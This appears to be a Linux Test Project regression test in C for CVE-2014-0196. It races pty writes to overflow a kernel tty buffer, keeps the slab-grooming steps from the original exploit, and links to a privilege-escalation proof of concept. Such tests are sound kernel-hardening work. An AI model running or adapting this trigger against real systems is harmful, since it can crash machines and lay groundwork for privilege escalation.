1 // SPDX-License-Identifier: GPL-2.0-or-later
2 /*
3  * Copyright (c) 2017 Richard Palethorpe <rpalethorpe@suse.com>
4  * Original POC by Matthew Daley <mattd@bugfuzz.com>
5  */
6 /*
7  * This test attempts to cause a buffer overflow using the race condition
8  * described in CVE-2014-0196. If the test is successful in causing an
9  * overflow it will most likely result in an immediate Oops, restart or
10  * freeze. However if it overwrites memory not accessed during the test then
11  * it could happen at a later time or not at all which is more likely if SLAB
12  * randomization has been implemented. However as it currently stands, the test
13  * usually crashes as soon as the delay has been calibrated.
14  *
15  * To maximise the chances of the buffer overflow doing immediate detectable
16  * damage the SLAB filler sockets and ioctls from the original exploit POC
17  * have been kept even though they are not strictly necessary to reproduce the
18  * bug.
19  *
20  * Further details:
21  * see linux commit 4291086b1f081b869c6d79e5b7441633dc3ace00
22  * privilege escalation POC https://www.exploit-db.com/exploits/33516/
23  */
24 
25 #include <pty.h>
26 #include <stdio.h>
27 #include <string.h>
28 #include <termios.h>
29 #include <limits.h>
30 
31 #include "tst_test.h"
32 #include "tst_timer.h"
33 #include "tst_safe_pthread.h"
34 
35 #include "tst_fuzzy_sync.h"
36 
37 #define ONEOFF_ALLOCS 200
38 #define RUN_ALLOCS    30
39 #define BUFLEN        512
40 
41 static volatile int master_fd, slave_fd;
42 static int filler_ptys[ONEOFF_ALLOCS * 2];
43 static int target_ptys[RUN_ALLOCS * 2];
44 static char buf[BUFLEN];
45 
46 static void *overwrite_thread_fn(void *);
47 static struct tst_fzsync_pair fzsync_pair;
48 
create_pty(int * amaster,int * aslave)49 static void create_pty(int *amaster, int *aslave)
50 {
51 	if (openpty(amaster, aslave, NULL, NULL, NULL) == -1)
52 		tst_brk(TBROK | TERRNO, "pty creation failed");
53 }
54 
setup(void)55 static void setup(void)
56 {
57 	int i;
58 
59 	fzsync_pair.exec_loops = 50000;
60 
61 	tst_fzsync_pair_init(&fzsync_pair);
62 
63 	for (i = 0; i < ONEOFF_ALLOCS; i++) {
64 		create_pty(&filler_ptys[i],
65 			   &filler_ptys[i + ONEOFF_ALLOCS]);
66 	}
67 }
68 
overwrite_thread_fn(void * p LTP_ATTRIBUTE_UNUSED)69 static void *overwrite_thread_fn(void *p LTP_ATTRIBUTE_UNUSED)
70 {
71 	while(tst_fzsync_run_b(&fzsync_pair)) {
72 		tst_fzsync_start_race_b(&fzsync_pair);
73 		SAFE_WRITE(0, slave_fd, buf, BUFLEN - 1);
74 		SAFE_WRITE(0, slave_fd, buf, BUFLEN - 1);
75 		SAFE_WRITE(0, slave_fd, buf, BUFLEN);
76 		tst_fzsync_end_race_b(&fzsync_pair);
77 	}
78 	return 0;
79 }
80 
run(void)81 static void run(void)
82 {
83 	struct termios t;
84 	int j;
85 
86 	tst_res(TINFO, "Attempting to overflow into a tty_struct...");
87 
88 	tst_fzsync_pair_reset(&fzsync_pair, overwrite_thread_fn);
89 	while (tst_fzsync_run_a(&fzsync_pair)) {
90 		create_pty((int *)&master_fd, (int *)&slave_fd);
91 
92 		for (j = 0; j < RUN_ALLOCS; j++)
93 			create_pty(&target_ptys[j],
94 				   &target_ptys[j + RUN_ALLOCS]);
95 		SAFE_CLOSE(target_ptys[RUN_ALLOCS / 2]);
96 		SAFE_CLOSE(target_ptys[RUN_ALLOCS / 2 + RUN_ALLOCS]);
97 
98 		SAFE_WRITE(0, slave_fd, buf, 1);
99 
100 		tcgetattr(master_fd, &t);
101 		t.c_oflag &= ~OPOST;
102 		t.c_lflag |= ECHO;
103 		tcsetattr(master_fd, TCSANOW, &t);
104 
105 		tst_fzsync_start_race_a(&fzsync_pair);
106 		SAFE_WRITE(0, master_fd, "A", 1);
107 		tst_fzsync_end_race_a(&fzsync_pair);
108 
109 		for (j = 0; j < RUN_ALLOCS; j++) {
110 			if (j == RUN_ALLOCS / 2)
111 				continue;
112 
113 			ioctl(target_ptys[j], 0xdeadbeef);
114 			ioctl(target_ptys[j + RUN_ALLOCS], 0xdeadbeef);
115 			SAFE_CLOSE(target_ptys[j]);
116 			SAFE_CLOSE(target_ptys[j + RUN_ALLOCS]);
117 		}
118 
119 		ioctl(master_fd, 0xdeadbeef);
120 		ioctl(slave_fd, 0xdeadbeef);
121 		SAFE_CLOSE(master_fd);
122 		SAFE_CLOSE(slave_fd);
123 	}
124 
125 	tst_res(TPASS, "Nothing bad happened, probably.");
126 }
127 
cleanup(void)128 static void cleanup(void)
129 {
130 	int i;
131 
132 	tst_fzsync_pair_cleanup(&fzsync_pair);
133 
134 	for (i = 0; i < ONEOFF_ALLOCS * 2; i++)
135 		close(filler_ptys[i]);
136 	close(master_fd);
137 	close(slave_fd);
138 }
139 
140 static struct tst_test test = {
141 	.setup = setup,
142 	.cleanup = cleanup,
143 	.test_all = run,
144 	.tags = (const struct tst_tag[]) {
145 		{"linux-git", "4291086b1f08"},
146 		{"CVE", "2014-0196"},
147 		{}
148 	}
149 };
150